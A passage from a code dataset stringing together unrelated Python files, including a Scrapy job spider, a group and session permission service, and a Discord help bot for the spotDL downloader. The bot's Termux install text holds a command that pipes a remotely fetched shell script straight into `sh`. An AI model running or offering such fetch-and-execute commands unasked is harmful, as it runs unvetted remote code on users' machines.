Visualization(subjects):\n while True:\n print()\n print(\"Enter Option for FMRI reading Visualization\")\n print()\n print(\"1 Select trial with person number\")\n print(\"0 Return\")\n\n option = int(input())\n\n if (option == 1):\n\n print(\"Enter Person Number (1-9)\")\n person = int(input()) - 1\n print(\"Enter Trial Number (1-360)\")\n trial = int(input()) - 1\n\n subject = subjects[person]\n meta = subject.meta\n info = subject.info\n data = subject.dataset\n part = []\n for x in range(meta.dimx):\n for y in range(meta.dimy):\n for z in range(meta.dimz):\n if (meta.coordToCol[x][y][z] != 0):\n # part.append(meta.coordToCol[x][y][z])\n part.append([x, y, z, data[trial][meta.coordToCol[x][y][z] - 1]])\n\n part = np.array(part)\n part = part[::15]\n\n visualize(part[:, 0], part[:, 1], part[:, 2], part[:, 3], \"Brain response to word '\" + info[trial][2] + \"'\",\n -1)\n\n if (option == 0): return\n","sub_path":"FMRI/Visualization.py","file_name":"Visualization.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"400341295","text":"# @Author : Fizzyi\n\nclass Settings():\n\n def __init__(self):\n \"\"\"初始化游戏的所有设置\"\"\"\n # 屏幕设置\n self.screen_width = 900\n self.screen_height = 600\n self.bg_color = (230, 230, 230)\n\n # 飞船设置\n self.ship_speed_factor = 10\n self.ship_limit = 3\n\n # 子弹设置\n self.bullet_speed_factor = 7\n self.bullet_width = 10\n self.bullet_height = 15\n self.bullet_color = 60, 60, 60\n self.bullets_allowed = 100\n\n #外星人设置\n self.alien_speed_factor = 10\n #fleet_drop_speed 指定了外星人向下移动的速度\n self.fleet_drop_speed = 20\n #fleet_direction 为1表示向右移动,为-1相当于向左移动\n self.fleet_direction =1\n","sub_path":"Python_homework/pygame_aircraft_battle/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462491892","text":"from scrapy.exceptions import DropItem, CloseSpider\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.selector import Selector\nfrom scrapy.loader.processors import Join\n\nfrom scrapy.conf import settings\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom .peoplesoft import PeopleSoft\n\n\nclass PeopleSoftAtlas(PeopleSoft):\n \"\"\" Crawler for PeopleSoftAtlas based on `PeopleSoft`\n\n scrapy crawl peoplesoft_atlas -a url=\"https://erecruit.jarden.com/psc/erecruit/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL\" -a mining_job=9999 -a iterator=1 -a extract=1\n\n scrapes the following site:\n https://erecruit.jarden.com/psc/erecruit/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL\n https://erecruit.partneragencies.org/psc/UNDPP1HRE/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL\n \"\"\"\n\n name = 'peoplesoft_atlas'\n\n error_messages = [\"An error has occurred.\"]\n\n def __init__(self, *args, **kwargs):\n super(PeopleSoftAtlas, self).__init__(*args, **kwargs)\n settings.overrides['CONCURRENT_REQUESTS'] = 16\n\n def parse(self, response):\n sel = Selector(response)\n\n formdata = {}\n for hid in sel.xpath('//input[@type=\"hidden\" and @name and @value]'):\n formdata[hid.xpath('@name').extract()[0]] = hid.xpath('@value').extract()[0]\n\n for job in sel.xpath('//a[contains(@href, \"POSTINGTITLE\")]/@id').extract():\n formdata['ICAction'] = job\n\n yield FormRequest(\n url=response.url,\n formdata=formdata,\n callback=self.parse_job_callback()\n )\n\n def parse_job(self, response):\n \"\"\" Scrape job details and returns all the fields found. \"\"\"\n\n sel = Selector(response)\n loader = BrightcorpItemLoader(selector=sel)\n\n loader.add_value('url', response.url)\n\n loader.add_xpath(\n 'referencenumber',\n '//span[contains(@id, \"JOB_OPENING_ID\")]/text()',\n lambda value: \"%s-%s\" % (self.name, value[0]))\n\n loader.add_xpath(\n 'jobtype',\n '//span[contains(@id, \"REG_TEMP\")]/text()'\n )\n\n loader.add_xpath(\n 'title', \n '//span[contains(@id, \"WRK_POSTING_TITLE\")]/text()'\n )\n \n loader.add_xpath(\n 'location',\n '//span[contains(@id, \"JO_LCTNS\")]/text()',\n Join(', ')\n )\n \n loader.add_xpath('description', '//div[contains(@id, \"DESCRLONG\")]')\n\n yield loader.load_item()\n\n def set_custom_item(self, response):\n sel = Selector(response)\n\n self.loader.add_value(\n 'referencenumber',\n sel.xpath('//span[contains(@id, \"JOB_OPENING_ID\")]/text()').extract()[0],\n lambda x: \"%s-%s\" % (self.name, x)\n )\n\n def parse_joblist(self, response):\n pass","sub_path":"brightcorp/brightcorp/spiders/peoplesoft_atlas.py","file_name":"peoplesoft_atlas.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"226222608","text":"\r\ndef ip2int(ip:str):\r\n ip = ip.split(\".\")\r\n return int(ip[0])<<24 | int(ip[1])<<16 | int(ip[2]) << 8 | int(ip[3])\r\n\r\nf = open(\"ip2.txt\").read().split(\"\\n\")\r\ndata = []\r\nfor i in f:\r\n i = i.split(\" \")\r\n data.append((ip2int(i[0]), 0))\r\n data.append((ip2int(i[1]), 1))\r\ndata = sorted(data, key=lambda x: x[0])\r\n\r\nfor i in range(len(data)-1):\r\n if data[i][1] == data[i+1][1]:\r\n print(\"Find\")\r\n\r\ndef check(ip):\r\n value = ip2int(ip)\r\n l, r = 0, len(data) - 1\r\n while r - l > 0:\r\n mid = (l + r) >> 1\r\n if data[mid][0] > value:\r\n r = mid\r\n else:\r\n l = mid + 1\r\n return r > 0 and data[r-1][0] <= value and data[r][0] >= value and data[r-1][1] == 0 and data[r][1] == 1\r\n\r\n\r\nfor i in [\"114.114.114.114\", \"119.29.29.29\", \"1.0.0.1\", \"8.8.8.8\", \"93.46.8.90\", \"59.36.119.55\", \"61.151.180.158\"]:\r\n print(check(i), i)\r\n","sub_path":"trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"242985886","text":"from datetime import date, timedelta\n\nfrom django.test import TestCase\n\nfrom .models import Person\n\n\nclass PersonMethodTests(TestCase):\n\n\tdef test_was_born_in_past_with_past_dob(self):\n\t\tpast_date = date.today() - timedelta(days=2)\n\t\tpast_person = Person(date_of_birth=past_date)\n\t\tself.assertEqual(past_person.was_born_in_past(), True)\n\n\tdef test_was_born_in_past_with_future_dob(self):\n\t\tfuture_date = date.today() + timedelta(days=2)\n\t\tfuture_person = Person(date_of_birth=future_date)\n\t\tself.assertEqual(future_person.was_born_in_past(), False)\n\n\tdef test_was_born_in_past_with_today_dob(self):\n\t\ttoday_person = Person(date_of_birth=date.today())\n\t\tself.assertEqual(today_person.was_born_in_past(), True)","sub_path":"person_list/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"475521523","text":"\ndef fibonacci(second_last, last):\n next_num = second_last + last\n return next_num\n\n\ndef call_fib():\n even_fib_numbers = [2]\n second_last = 1\n last = 2\n fib_number = 0 \n while fib_number < 4000000:\n fib_number = fibonacci(second_last, last)\n if fib_number%2==0:\n even_fib_numbers.append(fib_number)\n second_last = last\n last = fib_number\n total = sum(even_fib_numbers)\n print(\"even fibonacci numbers: {0}\".format(even_fib_numbers))\n print(\"total: {0}\".format(total))\n\n\nif __name__ == '__main__':\n call_fib()\n\n","sub_path":"games/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"85936036","text":"from __future__ import print_function\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sbn\n\ndf = pd.read_csv('data.csv', ',')\ndf['round'] += 1 # because it starts at zero\ndf_mean = df[df['round'] >= 5].groupby('name').mean()\nprint(df_mean)\n\n# fig = plt.figure()\n# sbn.boxplot(x='name', y='f1', data=df)\n\nfig = plt.figure(figsize=[12, 5])\nsbn.lineplot(x='round', y='f1', hue='name', data=df)\nplt.legend(['Image & Gradients', 'Image', 'Scaled Gradients'],\n loc=\"lower right\", fontsize='xx-large', title=None)\nplt.xlabel('Training Epochs (x10)', fontsize='xx-large')\nplt.ylabel('F1 Score', fontsize='xx-large')\nplt.xticks(fontsize='xx-large')\nplt.yticks(fontsize='xx-large')\n\n# fig = plt.figure()\n# sbn.boxplot(x='name', y='time', data=df)\n\nplt.show()\n","sub_path":"python/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"629850000","text":"\"\"\"The service\"\"\"\nfrom datetime import datetime\nfrom tamuro.models import sesses, prim, groups, users, profs, certs\n\ndef get_top(ctx):\n \"\"\"Route: GET /\"\"\"\n top = prim.get(ctx.conn, ctx.sch)\n if not top:\n return {}\n elif not ctx.sess or 'user_id' not in ctx.sess:\n return {'name': top['name']}\n else:\n return groups.get(ctx.conn, ctx.sch, top['id'])\n\ndef get_setup(ctx):\n \"\"\"Route: GET /setup\"\"\"\n ret = prim.setup(ctx.conn, ctx.sch)\n ctx.conn.commit()\n return ret\n\ndef get_groups(ctx, group_id):\n \"\"\"Route: GET /groups/\"\"\"\n return groups.get(ctx.conn, ctx.sch, group_id) if ctx.sess else None\n\ndef put_group(ctx, group_id, obj):\n \"\"\"Route: PUT /groups/\"\"\"\n if ctx.sess and obj['id'] == group_id and \\\n (ctx.sess['is_manager'] or\n groups.is_owner(ctx.conn, ctx.sch, ctx.sess['user_id'], group_id)):\n ret = groups.put(ctx.conn, ctx.sch, obj)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef delete_group(ctx, group_id, obj):\n \"\"\"Route: DELETE /groups/\"\"\"\n if not ctx.sess or obj['id'] != group_id:\n return None\n else:\n ret = groups.delete(ctx.conn, ctx.sch, obj) if ctx.sess['is_manager'] else None\n ctx.conn.commit()\n return ret\n\ndef put_group_groups(ctx, group_id, group_ids):\n \"\"\"Route: PUT /groups//groups\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n return groups.set_groups(ctx.conn, ctx.sch, group_id, group_ids)\n else:\n return None\n\ndef post_sub_group(ctx, group_id, obj):\n \"\"\"Route: POST /groups//sub_groups\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = groups.post_sub_group(ctx.conn, ctx.sch, group_id, obj)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef put_sub_groups(ctx, group_id, sub_groups):\n \"\"\"Route: PUT /groups//sub_groups\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = groups.set_sub_groups(ctx.conn, ctx.sch, group_id, sub_groups)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef put_owners(ctx, group_id, owners):\n \"\"\"Route: PUT /groups//owners\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = groups.set_owners(ctx.conn, ctx.sch, group_id, owners)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef post_member(ctx, group_id, obj):\n \"\"\"Route: POST /groups//members\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = users.post_member(ctx.conn, ctx.sch, group_id, obj)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef put_members(ctx, group_id, members):\n \"\"\"Route: PUT /groups//members\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = groups.set_members(ctx.conn, ctx.sch, group_id, members)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef get_users(ctx, user_id):\n \"\"\"Route: GET /users/\"\"\"\n return users.get(ctx.conn, ctx.sch, user_id) if ctx.sess else None\n\ndef get_user_profs(ctx, user_id):\n \"\"\"Route: GET /users//profs\"\"\"\n if not ctx.sess:\n return None\n elif ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id:\n return profs.get_all(ctx.conn, ctx.sch, user_id)\n else:\n return profs.get(ctx.conn, ctx.sch, user_id, ctx.sess['groups'])\n\ndef put_user(ctx, user_id, obj):\n \"\"\"Route: PUT /users/\"\"\"\n if not ctx.sess or obj['id'] != user_id:\n return None\n else:\n priv = ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id\n ret = users.put(ctx.conn, ctx.sch, obj) if priv else None\n ctx.conn.commit()\n return ret\n\ndef put_user_profs(ctx, user_id, obj):\n \"\"\"Route: PUT /users//profs\"\"\"\n if ctx.sess and (ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id):\n ret = profs.put(ctx.conn, ctx.sch, user_id, obj)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef delete_user(ctx, user_id, obj):\n \"\"\"Route: DELETE /users/\"\"\"\n if not ctx.sess or obj['id'] != user_id:\n return None\n else:\n ret = users.delete(ctx.conn, ctx.sch, obj) if ctx.sess['is_manager'] else None\n ctx.conn.commit()\n return ret\n\ndef put_user_groups(ctx, user_id, group_ids):\n \"\"\"Route: PUT /users//groups\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = users.set_groups(ctx.conn, ctx.sch, user_id, group_ids)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef put_own_groups(ctx, user_id, group_ids):\n \"\"\"Route: PUT /users//own_groups\"\"\"\n if ctx.sess and ctx.sess['is_manager']:\n ret = users.set_own_groups(ctx.conn, ctx.sch, user_id, group_ids)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef get_certs(ctx, user_id):\n \"\"\"Route: GET /users//certs\"\"\"\n if ctx.sess and (ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id):\n ret = certs.get(ctx.conn, ctx.sch, user_id)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef put_cert(ctx, user_id, obj, seed):\n \"\"\"Route: PUT /users//certs\"\"\"\n if ctx.sess and (ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id):\n obj['user_id'] = user_id\n ret = certs.put(ctx.conn, ctx.sch, seed, obj)\n sesses.delete_user_sessions(ctx.conn, ctx.sch, user_id)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef delete_cert(ctx, user_id, obj):\n \"\"\"Route: PUT /users//certs\"\"\"\n if ctx.sess and user_id == obj['user_id'] and \\\n (ctx.sess['is_manager'] or ctx.sess['user_id'] == user_id):\n ret = certs.delete(ctx.conn, ctx.sch, obj)\n ctx.conn.commit()\n return ret\n else:\n return None\n\ndef post_session(ctx, obj, seed):\n \"\"\"Route: POST /sessions\"\"\"\n cert = certs.get_by_key(ctx.conn, ctx.sch, seed, obj)\n if not cert:\n return None\n else:\n ret = sesses.post(ctx.conn, ctx.sch, cert)\n ctx.conn.commit()\n return ret\n\ndef get_token_status(ctx):\n \"\"\"Route: GET/tokens\"\"\"\n if ctx.sess and (ctx.sess['is_admin']):\n tokens = sesses.get_tokens(ctx.conn, ctx.sch)\n ret = []\n for user in sesses.get_users_for_tokens(ctx.conn, ctx.sch):\n user['tokens'] = []\n for token in tokens:\n if token['user_id'] == user['id']:\n user['tokens'].append({\n 'id': token['id'],\n 'created_at': token['created_at'],\n 'updated_at': token['updated_at'],\n })\n ret.append(user)\n return ret\n else:\n return None\n\ndef post_token(ctx, obj):\n \"\"\"Route: POST /tokens\"\"\"\n if ctx.sess and ctx.sess['is_admin'] and 'user_id' in obj:\n user_id = obj['user_id']\n user = users.get(ctx.conn, ctx.sch, user_id)\n if user:\n sesses.delete_user_sessions(ctx.conn, ctx.sch, user_id)\n ret = sesses.post_token(ctx.conn, ctx.sch, user_id)\n ctx.conn.commit()\n return {\n 'id': ret['id'],\n 'user_id': user['id'],\n 'user_name': user['name'],\n }\n else:\n return None\n else:\n return None\n\ndef get_sessions(ctx, from_ts, to_ts):\n \"\"\"Route: GET /sessions//to/\"\"\"\n if ctx.sess and ctx.sess['is_admin']:\n return sesses.get(\n ctx.conn,\n ctx.sch,\n datetime.fromtimestamp(from_ts),\n datetime.fromtimestamp(to_ts + 1)\n )\n else:\n return None\n\ndef delete_session(ctx, sess_id):\n \"\"\"Route: DELETE /sessions/\"\"\"\n if ctx.sess and (ctx.sess['is_admin'] or ctx.sess['id'] == sess_id):\n ret = sesses.delete(ctx.conn, ctx.sch, sess_id)\n ctx.conn.commit()\n return ret\n else:\n return None\n","sub_path":"tamuro/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":8048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"524324491","text":"import discord\nfrom discord_slash import SlashCommand\nfrom discord_slash.utils.manage_commands import create_option, create_choice, create_permission\nfrom discord_slash.utils.manage_components import create_button, create_actionrow\nfrom discord_slash.model import SlashCommandPermissionType, ButtonStyle\nfrom discord_slash.context import ComponentContext\n\nfrom dotenv import load_dotenv\nfrom ast import literal_eval\nimport psutil\nimport os\nimport sys\n\nload_dotenv()\n\ndiscord_token = os.getenv('DISCORD_TOKEN')\nguild_ids = literal_eval(os.getenv('GUILD_IDS'))\n\n\nclient = discord.Client(intents=discord.Intents.all())\nslash = SlashCommand(client, sync_commands=True)\n\n\n@client.event\nasync def on_ready():\n await client.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"over spotDL\"))\n print(\"Ready!\")\n\nmaintenance = False\n\n\n@slash.slash(name=\"ping\",\n description=\"Play a round of ping-pong\",\n guild_ids=guild_ids)\nasync def _ping(ctx):\n await ctx.send(f\"Pong! ({client.latency*1000:.1f}ms)\", hidden=True)\n\n\n@slash.slash(name=\"zsh\",\n description=\"Instructions for users with Zsh terminals\",\n guild_ids=guild_ids)\nasync def _zsh(ctx):\n await ctx.send('If you use Zsh terminal, **put the URL in quotes**, e.g.\\n`spotdl \"https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b?si=TNiemvONQviXQpWPSiR2Gw\"`')\n\n\n@slash.slash(name=\"update\",\n description=\"Various update instructions\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"location\",\n description=\"Where should the update come from?\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"pip\", value=\"pip\"),\n create_choice(name=\"master\", value=\"master\"),\n create_choice(name=\"dev\", value=\"dev\"),\n ]),\n create_option(\n name=\"clean\",\n description=\"Use pip-autoremove?\",\n option_type=5,\n required=False\n ),\n create_option(\n name=\"force\",\n description=\"Use --force-reinstall flag?\",\n option_type=5,\n required=False\n ),\n create_option(\n name=\"pip3\",\n description=\"Show pip3 intead of pip?\",\n option_type=5,\n required=False\n )\n ])\nasync def update(ctx, location: str, clean: bool = False, force: bool = False, pip3: bool = False):\n msg = \"\"\n if clean is True:\n msg += f\"**Clean installation from `{location}`**\\n - `pip install pip-autoremove`\\n - `pip-autoremove spotdl -y`\\n - `pip cache purge`\"\n else:\n msg += f\"**Update spotDL from `{location}`**\\n - `pip uninstall spotdl`\"\n\n if location == \"pip\" and clean is True:\n msg += \"\\n - `pip install -U spotdl`\"\n elif location == \"pip\":\n msg = \"`pip install -U spotdl`\"\n elif location in [\"dev\", \"master\"]:\n msg += f\"\\n - `pip install -U https://codeload.github.com/spotDL/spotify-downloader/zip/{location}`\"\n\n if force is True:\n msg = \"`pip install -U --force-reinstall spotdl`\"\n\n if pip3 is True:\n msg = msg.replace(\"pip \", \"pip3 \")\n\n await ctx.send(content=msg)\n\n\n@slash.slash(name=\"ffmpeg\",\n description=\"FFmpeg issue FAQ\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"not_found\",\n description=\"FFmpeg was not found?\",\n option_type=5,\n required=False,\n ),\n create_option(\n name=\"instructions\",\n description=\"Instructions for installing FFmpeg\",\n option_type=5,\n required=False\n ),\n create_option(\n name=\"no_detect\",\n description=\"FFmpeg versionn couldn't be detected?\",\n option_type=5,\n required=False\n ),\n create_option(\n name=\"specify_path\",\n description=\"Specify a path to your FFmpeg binary\",\n option_type=5,\n required=False\n )\n ]\n )\nasync def ffmpeg(ctx, not_found: bool = False, instructions: bool = False, no_detect: bool = False, specify_path: bool = False):\n embed = discord.Embed(title=\"FFmpeg and spotDL\", description=\"spotDL requires FFmpeg v4.2 or above\", color=discord.Color.blue())\n\n if not_found is True:\n embed.add_field(name=\"FFmpeg was not found, spotDL cannot continue?\", value=\"spotDL either requires FFmpeg on PATH, or the binary to be specified via the -f flag.\\nEnsure FFmpeg is installed!\")\n if instructions is True:\n embed.add_field(name=\"Instructions to install FFmpeg\", value=\"Windows: [Download Binaries](https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-full.7z) then [follow tutorial](https://windowsloop.com/install-ffmpeg-windows-10/)\\n\\\n OSX: `brew install ffmpeg`\\nUbuntu:`sudo apt install ffmpeg -y`\")\n if no_detect is True:\n embed.add_field(name=\"FFmpeg version couldn't be detected?\", value=\"Add the `--ignore-ffmpeg-version` flag to your spotDL command.\\nThis is common if you are using a nightly FFmpeg build.\", inline=False)\n if specify_path is True:\n embed.add_field(name=\"Specify a path to your FFmpeg binary?\", value=\"Instead of adding FFmpeg to PATH, you can specify a path to the binary:\\nAdd the `-f` or `--ffmpeg` flag to your command. e.g.\\n`spotdl -f /path//to/ffmpeg.exe [trackUrl]`\")\n elif not_found is False and instructions is False and no_detect is False and specify_path is False:\n embed.add_field(name=\"FFmpeg was not found, spotDL cannot continue?\", value=\"spotDL either requires FFmpeg on PATH, or the binary to be specified via the -f flag.\\nEnsure FFmpeg is installed!\")\n embed.add_field(name=\"Instructions to install FFmpeg\", value=\"Windows: [Download Binaries](https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-full.7z) then [follow tutorial](https://windowsloop.com/install-ffmpeg-windows-10/)\\n\\\n OSX: `brew install ffmpeg`\\nUbuntu:`sudo apt install ffmpeg -y`\")\n embed.add_field(name=\"Specify a path to your FFmpeg binary?\", value=\"Instead of adding FFmpeg to PATH, you can specify a path to the binary:\\nAdd the `-f` or `--ffmpeg` flag to your command. e.g.\\n`spotdl -f /path//to/ffmpeg.exe [trackUrl]`\")\n\n await ctx.send(embed=embed)\n\n\n@slash.slash(name=\"version\",\n description=\"Instructions for checking versions\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"app\",\n description=\"Instructions to check which app's version?\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"spotDL\", value=\"spotDL\"),\n create_choice(name=\"FFmpeg\", value=\"FFmpeg\"),\n create_choice(name=\"Python\", value=\"Python\"),\n ]\n ),\n create_option(\n name=\"pip3\",\n description=\"Show pip3 intead of pip?\",\n option_type=5,\n required=False\n )\n ])\nasync def version(ctx, app: str, pip3: bool = False):\n if app == \"spotDL\":\n msg = \"**Check spotDL version**\\n`pip show spotdl`\"\n elif app == \"FFmpeg\":\n msg = \"**Check FFmpeg version**\\n`ffmpeg -version`\"\n elif app == \"Python\":\n msg = \"**Check Python version**\\n`python --version`\"\n\n if pip3 is True:\n msg = msg.replace(\"pip \", \"pip3 \")\n\n await ctx.send(content=msg)\n\n\n@slash.slash(name=\"path\",\n description=\"How to add things to PATH\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"shell\",\n description=\"What Shell is the user running? (Or Windows)\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"Windows\", value=\"Windows\"),\n create_choice(name=\"zshrc\", value=\"zshrc\"),\n create_choice(name=\"bashrc\", value=\"bashrc\")\n ]\n )\n ])\nasync def path(ctx, shell: str):\n if shell == \"Windows\":\n msg = \"**Adding to PATH on Windows**\\nIn Start Menu, Search `env` then click `Edit the system environment variables`, then click `Environment Variables` in the bottom right.\\nIn System variables, scroll down to `Path` and double Click. You can now view or edit the PATH variable.\"\n\n elif shell == \"zshrc\":\n msg = \"**Adding to PATH for Zsh terminal**\\nAdd `export PATH=~/.local/bin:$PATH` at the bottom of `~/.zshrc`\\nThen run `source ~/.zshrc`\"\n elif shell == \"bashrc\":\n msg = \"**Adding to PATH for Bash terminal**\\nAdd `export PATH=~/.local/bin:$PATH` at the bottom of `~/.bashrc`\\nThen run `source ~/.bashrc`\"\n\n await ctx.send(content=msg)\n\n\n@slash.slash(name=\"dl_branch\",\n description=\"Removing &dl_branch=1 from URLs\",\n guild_ids=guild_ids)\nasync def dl_branch(ctx):\n await ctx.send(\"**You must remove `&dl_branch=1` from URLs, since the `&` is a control operator in terminal**\")\n\n\n@slash.slash(name=\"outputformat\",\n description=\"How to change output format? Options?\",\n guild_ids=guild_ids)\nasync def outputformat(ctx):\n await ctx.send(\"**How to change output format?**\\nUse the `-of` or `--output-format` flag.\\nPossible formats are `mp3, ogg, flac, opus, m4a`\\nE.g. `spotdl [trackUrl] -of opus`\")\n\n\n@slash.slash(name=\"certificates\",\n description=\"Installing SSL certificates on OSX\",\n guild_ids=guild_ids)\nasync def certificates(ctx):\n await ctx.send(\"On OSX? You need to install SSL certificates\\nNavigate to `Applications/Python 3.9`, and double click `Install Certificates.command`\\n(Change 3.9 to relevant version number)\")\n\n\n@slash.slash(name=\"download\",\n description=\"Where did my files download?\",\n guild_ids=guild_ids)\nasync def download(ctx):\n embed = discord.Embed(title=\"Where are my files downloaded? / How can I change download location?\", color=0xFFFFFF)\n embed.add_field(name=\"By default, spotDL downloads to the Working Directory/Where you ran spotDL from\", value=\"You can `cd` to the folder you want to run spotDL from\", inline=False)\n embed.add_field(name=\"Changing output directory\", value=\"Use the `-o` or `--output` flag to change output directory, e.g. `spotdl [trackUrl] -o /home/music/`\", inline=False)\n embed.add_field(name=\"Windows Default & Tip\", value=\"By default, Windows will download in `C:\\\\Users\\\\YOURNAME\\\\`.\\n__Tip__\\n`SHIFT +RIGHT CLICK` in desired folder and select \\'Open Powershell Window Here\\'\", inline=False)\n embed.set_image(url=\"https://i.imgur.com/aDP8oEU.png\")\n await ctx.send(embed=embed)\n\n\n@slash.slash(name=\"testsong\",\n description=\"spotDL command for our testsong\",\n guild_ids=guild_ids)\nasync def testsong(ctx):\n await ctx.send(\"**Test Song:**\\n`spotdl https://open.spotify.com/track/0VjIjW4GlUZAMYd2vXMi3b`\")\n\n\n@slash.slash(name=\"install\",\n description=\"Instructions on installing Python or spotDL\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"program\",\n description=\"What program to provide instructions for\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"spotDL\", value=\"spotDL\"),\n create_choice(name=\"Python\", value=\"Python\"),\n create_choice(name=\"FFmpeg\", value=\"FFmpeg\"),\n create_choice(name=\"Termux\", value=\"Termux\")\n ]\n )\n ])\nasync def install(ctx, program: str):\n if program == \"spotDL\":\n msg = \"**How to install spotDL?**\\n*(Note: spotDL requires FFmpeg & Python)*\\n\\nRun `pip install spotdl` in a terminal\"\n elif program == \"Python\":\n msg = \"You need to install Python from \\n\\nEnsure to add to PATH when installing:\\nhttps://i.imgur.com/jWq5EnV.png\"\n elif program == \"FFmpeg\":\n msg = \"**Installing FFmpeg:**\\n\\n**Windows:** Download binaries from then follow this tutorial: .\\n**OSX (M1):** \\n**OSX (Other):** `brew install ffmpeg`\\n**Ubuntu:** `sudo apt install ffmpeg -y`\"\n elif program == \"Termux\":\n msg = \"**spotDL has a dedicated Termux installation script.**\\n`curl -L https://github.com/spotDL/spotify-downloader/raw/master/termux/setup_spotdl.sh | sh`\\n\\nspotDL will install at `/data/data/com.termux/files/usr/bin/spotdl/`, and **Songs download to `$HOME/storage/shared/songs`**\"\n\n await ctx.send(msg)\n\n\n@slash.slash(name=\"github\",\n description=\"Links to different spotDL documentation\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"file\",\n description=\"What file do you want to link to?\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"readme\", value=\"readme\"),\n create_choice(name=\"installguide\", value=\"installguide\"),\n create_choice(name=\"contributing\", value=\"contributing\"),\n create_choice(name=\"corevalues\", value=\"corevalues\"),\n create_choice(name=\"license\", value=\"license\"),\n create_choice(name=\"issues\", value=\"issues\"),\n ]\n )\n ])\nasync def github(ctx, file: str):\n if file == \"readme\":\n msg = \"Detailed information in our README.md\\n\"\n elif file == \"installguide\":\n msg = \"Installation Guide at \"\n elif file == \"contributing\":\n msg = \"Contributing Guidelines at \"\n elif file == \"corevalues\":\n msg = \"Core Values at \"\n elif file == \"license\":\n msg = \"Our License at \"\n elif file == \"issues\":\n msg = \"Our Issues page at \"\n\n await ctx.send(msg)\n\n\n@slash.slash(name=\"quality\",\n description=\"Info regarding audio quality & bitrate\",\n guild_ids=guild_ids)\nasync def quality(ctx):\n await ctx.send(\"spotDL automatically gets the highest quality audio we can from YouTube.\")\n\n\n@slash.slash(name=\"ytmusic\",\n description=\"YouTube Music being required\",\n guild_ids=guild_ids)\nasync def ytmusic(ctx):\n await ctx.send(\"**YouTube Music must be available in your country for spotDL to work. This is because we use YouTube Music to filter search results. You can check if YouTube Music is available in your country, by visiting YouTube Music.** \")\n\n\n@slash.slash(name=\"fromyoutube\",\n description=\"spotDL downloads from YouTube\",\n guild_ids=guild_ids)\nasync def fromyoutube(ctx):\n await ctx.send(\"spotDL downloads from YouTube if a match is found. https://i.imgur.com/tCaTBTt.png\")\n\n\n@slash.slash(name=\"podcast\",\n description=\"Info regarding how spotDL cannot download podcasts/episodes\",\n guild_ids=guild_ids)\nasync def podcast(ctx):\n await ctx.send(\"spotDL does not support downloading podcasts/episodes from Spotify.\")\n\n\n@slash.slash(name=\"codeblock\",\n description=\"How to use Discord Codeblocks\",\n guild_ids=guild_ids)\nasync def codeblock(ctx):\n embed = discord.Embed(title=\"Using Discord Codeblocks\", description=\"The backtick key **(\\`)** is found near the top left of the keyboard, above `TAB` and below 